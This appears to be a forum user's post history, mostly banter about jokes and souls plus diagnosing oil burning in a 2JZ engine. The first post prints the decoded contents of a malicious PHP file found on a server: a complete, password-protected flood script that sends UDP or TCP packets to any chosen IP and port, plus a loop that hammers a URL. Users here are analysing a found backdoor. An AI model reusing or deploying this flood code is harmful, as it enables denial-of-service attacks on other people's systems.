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morpha
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Quote from dawesdust_12 :Looking through, that file does look like it could be malicious... Normal PHP wouldn't be coded in such a way.. eval(stripslashes(ginflate(base64decode("stringofcrap")));... That doesn't look like a normal coding pattern to me.

Quote from MadCatX :The code in the suspicious PHP file is nothing but a function to unhash and decompress a string so I guess the only thing it could have caused is some extra load on their servers (though quite negligible IMO).

It's recursively encoded, 3 passes total. The real content is this:

<?php 
php

if($_REQUEST['pw']!="cracken!"){
    echo 
".";
    return 
1;
}

ignore_user_abort(TRUE);
@
set_time_limit(0);
if(isset(
$_GET['type'])){
    
$schema $_GET['type'].'://';
}else{
    
$schema 'udp://';
}

if(isset(
$_GET['ip'])&&is_numeric($_GET['time'])&&isset($_GET['port'])){
    
$exec_time $_GET['time'];
    
$max_time time()+$exec_time;
    
$host $_GET['ip'];
    if(isset(
$_GET['data'])){
        
$f = @fopen($_GET['data'],"r");
        if(
$f){
            while(
$temp fgets($f,500))
                
$out .= $temp;
        }
    }else{
        for(
$i=0;$i<65000;$i++)
            
$out .= 'X';
    }
    while(
1){
        
$packets++;
        if(
time() > $max_time)
            break;
        if (
$_GET['port'] == "rand")
            
$rand rand(1,65000);
        else
            
$rand $_GET['port']; 
        
$fp fsockopen($schema.$host$rand$errno$errstr5);
        if(
$fp)
            
fwrite($fp$out);
            
fclose($fp);
    }

    echo 
"$packets packets (".round((($packets*65)/1024),2) . " MB) @ ".round($packets/$exec_time,2)." pps (".round((($packets*65)/1024)/$exec_time,2)."MBps)";
}elseif(isset(
$_GET['webreader'])&&is_numeric($_GET['time'])){
    
$exec_time $_GET['time'];
    
$max_time time()+$exec_time;
    while(
1){
        if(
time() > $max_time)
            break;
        
$f = @fopen($_GET['webreader'],"r");
    }
    echo 
"Done";
}
?>

morpha
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Post it and I'll take a look.

Question is, how did it get there in the first place?
morpha
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Quote from dadge :but that's what a joke is dude. it's a play on words, or misfortune. jokes are not meant to be politically correct. that's why we have racist jokes, war jokes, ginger jokes, momma jokes. the list goes on. there isn't many jokes out there that doesn't offend others.

Which is fine as long as it's funny, which it simply was not to me. Admittedly I wasn't familiar with the ginger stereotype to its full extent, to me it just meant a person with orange/red hair. Now that I've done a bit of research and "educated" *cough* myself per urban dictionary, I've found that gingers are actually said not to have souls, making it a common myth your joke relates to. Still don't think it's particularly funny, but it helps understand the gist of your pun.

Anyway, to finally get back to topic:
Still haven't had a chance to pick up those tools and spare parts, but I did hack me a nice little gadget to fix the tailpipe on the new exhaust:

basically: insert -> adjust distance -> adjust "toe" -> twist. The preliminary results look promising

Still not perfectly round but it's getting there.
morpha
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Quote from DieKolkrabe :No it is in midair. I fail at ladders

Well at least you stuff will only be scattered in a relatively small radius around your point of impact, while mine evaporates to a cloud of steam
morpha
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Quote from dadge :do you think i expect everyone who found my post funny to replay "lol".

My observation is that funnies normally get a "lol" (or something to that effect) on the side by those who were going to post anyway.
Quote from dadge :[snip]you came to my level remember( something you state you don't usually do:really. implying that i do this all the time.

I already said I was referring to that one particular statement, any implication of you doing so all the time was unintentional.
Quote from dadge :i think it's up to you to piss off back up to your level again. i'm already at mine after all.

Well I didn't mean to pick a fight, nor to offend you personally, but that's what I've apparently done. The point was to bring your attention to the fact that your remark wasn't funny (to me) and mildly offensive in a political-correctness kind of way.

Anyway, this has gone on long enough so if you don't mind, let's agree to disagree.

I apologise for any misplaced stabs I took at you. Truth is, reading the 500servers support thread I've always thought you to be a decent guy, not someone I would expect to say something as cold as "cars have no souls"
morpha
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Quote from [RCG]Boosted :why would u have parts of your house made of lava?

Have you seen it? You'll understand when you see it
morpha
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Quote from dadge :strange that 90% of ginger videos on youtube are from the USA.

Oh well it's a British+Colonies thing then.

Quote from dadge :you're answer to that is in your statement. are you sure you're better than me? because you're not really making a convincing arguement for it mate.

I don't generally assume myself to be superior to anyone, I was merely referring to that particular remark as being low, respectively you for making it.
If you scroll through the last few posts you will find that none of your posts provoked a positive response. Four people explicitly disagreed with your statement, none explicitly agreed. Your "joke" failed to provoke any response at all aside from mine.
That doesn't make anyone better or worse than you, nor does it mean you're wrong, because just as everyone else you're obviously entitled to your own opinion, but it's just that. Your opinion.

Quote from dadge :are you sure? because i remember saying something like this; "everything natural has a soul. except gingers. nothing man-made does. except shoes."

Where in that sentence are you defining "soul"? You state what does have or doesn't have it, but not what it is. You do not define it.
morpha
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Quote from DieKolkrabe :I can get in fine

The fact I keep dying climbing up to my house...is PEBCAK

Is your house partially made of lava? Mine is and I've lost a lot of stuff thanks to it :banghead:
morpha
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Quote from dadge :*cough* high horse *cough*

I was just standing normally while you were playing with mud, no horses (of any height) involved.

Quote from dadge :if you couldn't see my comment as a joke then you really should steer clear from the funny stuff.

Your intent was well understood, but it wasn't funny. Making fun of gingers seems to be predominantly a British thing, so maybe it's amusing to them, but it simply wasn't funny to me.

Quote from dadge :now go back up to your own level where comedy doesn't exist and the planet is flat.

There's plenty of comedy here and I don't know why you keep bringing "the" planet into play.

I voiced my definition of "soul" and I didn't see you disagree with it, so why is this still continuing?
morpha
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Quote from dadge :not at all dude. i just thought your argument was shit. in the literal and metaphorical sense.

My argument? I temporarily descended to your level with a short, supposedly witty remark, not an argument at all. You made a pretty stupid statement involving gingers and shoes, surely you couldn't expect much of an argument in response.

Quote from dadge :depends on your definition of "tubes".

Really now? Is there any form of tube to be grown in that you'd consider natural? Or for that matter, is anything that happens in a laboratory natural?

Quote from dadge :nobody has ever "demanded" i call an embryo anything other than what it is. poor use of the word "demand" no?

I said "some demand" and if you go on the big wide world of the internetz and watch a few talk show vids and whatnot, you'll find that that's accurate. Some people demand that a developing human being be called a baby from day one, to dilute the distinction between embryo/foetus/baby or something, don't care.

Quote from dadge :EDIT: it also depends on your definition of "we". i have never read about a male pregnancy. although the roll of the man is quite important, it's only a small part in the whole scheme of things.

"We" as in mankind, but not all of us, just some. Mostly doctors and scientists, although the latter are generally prohibited from growing human life for scientific purposes.
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morpha
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You said nothing man-made, except shoes, possesses a soul, in response to which I pointed out that it takes a man (I figured you know how reproduction works, so that it additionally requires a woman was implied) to make a baby. Obviously you failed to understand the subtlety of the literal as opposed to the metaphorical meaning.

Besides, we grow babies (embryos really, but some demand we call them babies from the start) in tubes now, is that "natural" by your definition?
morpha
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You know, some people actually mean "literally" when they say it. Your daddy had some fun with your mum and that's how you came into existence, man-made.

"Soul" is an arbitrary value everyone assigns individually, commonly based on effort that went into its creation or a certain sensation associated with it. If it's something else to you, so be it, you're entitled to your own definition.
morpha
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In case you forgot: we're all man made, literally.
morpha
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Quote from BlueFlame :Cars do have souls. I believe so. I believe they are all living beings. With character and personality.

Yeah.
Seriously dadge, what are you doing here? You say cars are made for going from A to B, then you say they don't have souls... clearly you don't Live for Speed, at least not such as achieved by cars

Either everything has a soul or nothing does.
morpha
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Good stuff indeed

Looks like I might have to convert and become a Nikon/Canon/Pentax guy since Sony still can't be bothered to join the dSLR video party
morpha
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Quote from Shotglass :small amounts of oil on the intake side arent unusual and should just be a case of the engine sucking them up though the crankcase ventilation

Yeah I thought as much, so the turbos are out of the race as well, what a relief

Quote from Shotglass :shouldnt the seals around the valve prevent that from happening at all valve positions? especially i such large amounts

Yes of course, but since I'm assuming the seals are worn, a sticking valve would allow pretty substantial amounts of oil to enter, depending on oil pressure. And of course, there's the cracked valve guide theory.
morpha
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The throttle body is clean inside aside from the very thin film at the bottom, but the manifold is pitch black, which suggests to me that the oil gets inside the manifold when the throttle valve is closed, thus preventing it from getting into the throttle body as well. That, in turn, lead me to the conclusion that an inlet valve is sticking open, because that's really they only way I see for oil to enter the inlet manifold from the engine. The trace amount of oil/petrol in the throttle body would be explained by residual fluid in the the manifold trickling down in low-rev conditions where there's no boost and barely any vacuum.

Compression test is next on my to-do list, need to get some tools first though and they don't seem to be available locally.

€: Blocking the EGR is illegal I'm afraid, although virtually undetectable, unlike de-cating which leaves the distinct de-cat smell. I won't do either of those though, I want the car to be road legal in reality, not just on paper.
morpha
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Quote from Klutch :JZ turbo's are getting old, its pretty common for turbos to start going these days

I know but they're about 3k new (the whole assembly), going single is much cheaper but I can't afford the taxes and insurance for more than stock power and I wouldn't want the same power from a single turbo.

Anyway, checked IC piping on both ends, there was a thin film of what smelled like a petrol/oil solution at the throttle body, virtually none at the turbo side, so I don't think that's where the oil is coming from. The Inlet manifold is pitch black though, beginning to think I have a sticking inlet valve or a cracked valve guide, makes sense?

@BigPeBe, the breather hoses were hard and brittle, but intact. Before I ripped them out that is.

As for the Butt-Dyno, you could be right. My butt-dyno was subject to constant miscalibration due to driving low-powered fwd shitboxes most of the time, so even a fairly worn 2JZ which would probably still put out more than 200hp would be a big difference compared to 70 or 100hp.
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morpha
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I sure hope not, because that would point back at the turbos, except to the compression side rather than the exhaust side. I'll go check the inlet manifold and IC piping, but I really hope I won't find any oil there.
morpha
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Quote from Tomba(FIN) :i didnt read

Thought so
morpha
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Quote from Tomba(FIN) :[...]yo kids fail at life

What's your point?
morpha
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Quote from Shotglass :i rather doubt that worn piston rings will ever give you a noticeable drop in performance
also i doubt that the rings will be worn enough for it to lose 2.5l/1000km after what was it? 100tkm?

It's the combination that does it, what I meant is if the rings were that worn it would definitely result in a significant loss of compression, thus performance, as Klutch correctly states.

Anyway, small update: Took the coil packs out, 1/2 and 3/4 had a few splashes of oil on them, but the plugs underneath were clean. 5/6 however:

Edit: In case it isn't clearly visible on the photo, the plugs are swimming in oil!
Incidentally that's also the corner where the loose nut sits:

But after checking the service manual and finding that those are only supposed to be fastened to 5.5Nm, I doubt it's the cause. Anyway, this shows the cylinder head cover gaskets aren't sealing properly, or at least one of them anyway (they're actually completely separated). However, I'll admit that that's still no explanation as to how oil enters the cylinder(s) or exhaust system.

Head gasket is pretty much out of the race though since it sits below and couldn't really cause oil to get up there, unless I'm missing something?

Anyway, getting to the valve stem seals means taking the cams out, which is really more than I want to do atm, particularly without a replacement gasket kit and proper tools. Already broke the two breather tubes, they were completely vulcanised and brittle beyond what I'd imagined was possible for rubber

One step at a time
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morpha
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Quote from Shotglass :sounds like a weird explanation to me tbh
have you checked the water level yet?

I checked, coolant is fine but oil is very low, about 1/4 of the dipstick. Weird cause the last oil change was in June '10, 8 litres capacity so about 6 litres in 7 months. I didn't drive that much, couldn't have been more than 2500km, so approx 2.4L/1000km. That's a bit excessive, but it can't be the piston rings, I definitely would have noticed the difference in performance... or would I?

Crap, perhaps there's more wrong with it than I'm willing to admit.
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